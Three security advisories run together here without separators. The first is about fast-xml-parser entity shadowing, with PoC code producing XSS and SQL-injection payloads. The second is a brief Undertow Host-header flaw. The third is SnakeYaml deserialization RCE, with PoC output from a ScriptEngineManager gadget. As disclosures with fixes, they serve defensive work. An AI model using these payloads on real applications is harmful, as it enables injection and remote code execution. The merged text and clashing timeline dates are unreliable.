Entity encoding bypass via regex injection in DOCTYPE entity names
Summary
A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.
Details
The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.
In DocTypeReader.js, entity names are passed directly to RegExp():
js entities[entityName] = { regx: RegExp(&${entityName};, "g"), val: val };
An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.
The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:
js // v6 EntitiesParser.js line 96 const specialChar = "!?\\/[]$%{}^&()<>|+"; // no dot
Shadowing all 5 built-in entities
| Entity name | Regex created | Shadows | |---|---|---| | l. | /&l.;/g | < | | g. | /&g.;/g | > | | am. | /&am.;/g | & | | quo. | /&quo.;/g | " | | apo. | /&apo.;/g | ' |
PoC
js const { XMLParser } = require("fast-xml-parser");
const xml = <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY l. "<img src=x onerror=alert(1)>"> ]> <root> <text>Hello <b>World</b></text> </root>;
const result = new XMLParser().parse(xml); console.log(result.root.text); // Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
No special parser options needed - processEntities: true is the default.
When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.
& can be shadowed too:
js const xml2 = <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY am. "'; DROP TABLE users;--"> ]> <root>SELECT FROM t WHERE name='O&Brien'</root>;
const r = new XMLParser().parse(xml2); console.log(r.root); // SELECT FROM t WHERE name='O'; DROP TABLE users;--Brien'
Impact
This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.
- Default config, no special options - Attacker can replace any < / > / & / " / ' with arbitrary strings - Direct XSS vector when parsed XML content is rendered in a page - v5 and v6 both affected
Suggested fix
Escape regex metacharacters before constructing the replacement regex:
js const escaped = entityName.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); entities[entityName] = { regx: RegExp(&${escaped};, "g"), val: val };
For v6, add . to the blacklist in validateEntityName:
js const specialChar = "!?\\/[].{}^&()<>|+";
Severity
Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.
A flaw was found in the Undertow HTTP server core, which is used in WildFly, JBoss EAP, and other Java applications. The Undertow library fails to properly validate the Host header in incoming HTTP requests. As a result, requests containing malformed or malicious Host headers are processed without rejection, enabling attackers to poison caches, perform internal network scans, or hijack user sessions.
Summary SnakeYaml's Constructor class, which inherits from SafeConstructor, allows any type be deserialized given the following line:
new Yaml(new Constructor(TestDataClass.class)).load(yamlContent);
Types do not have to match the types of properties in the target class. A ConstructorException is thrown, but only after a malicious payload is deserialized.
Severity High, lack of type checks during deserialization allows remote code execution.
Proof of Concept Execute bash run.sh. The PoC uses Constructor to deserialize a payload for RCE. RCE is demonstrated by using a payload which performs a http request to http://127.0.0.1:8000.
Example output of successful run of proof of concept:
$ bash run.sh
[+] Downloading snakeyaml if needed [+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE nc: no process found [+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server. [+] An exception is expected. Exception: Cannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0 in 'string', line 1, column 1: payload: !!javax.script.ScriptEn ... ^ Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager in 'string', line 1, column 10: payload: !!javax.script.ScriptEngineManag ... ^
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291) at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172) at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332) at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230) at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220) at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174) at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158) at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491) at org.yaml.snakeyaml.Yaml.load(Yaml.java:416) at Main.main(Main.java:37) Caused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167) at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171) at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81) at java.base/java.lang.reflect.Field.set(Field.java:780) at org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44) at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286) ... 9 more [+] Dumping Received HTTP Request. Will not be empty if PoC worked GET /proof-of-concept HTTP/1.1 User-Agent: Java/11.0.14 Host: localhost:8000 Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2 Connection: keep-alive
Further Analysis Potential mitigations include, leveraging SnakeYaml's SafeConstructor while parsing untrusted content.
See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479 for discussion on the subject.
Timeline Date reported: 4/11/2022 Date fixed: 30/12/2022 Date disclosed: 10/13/2022
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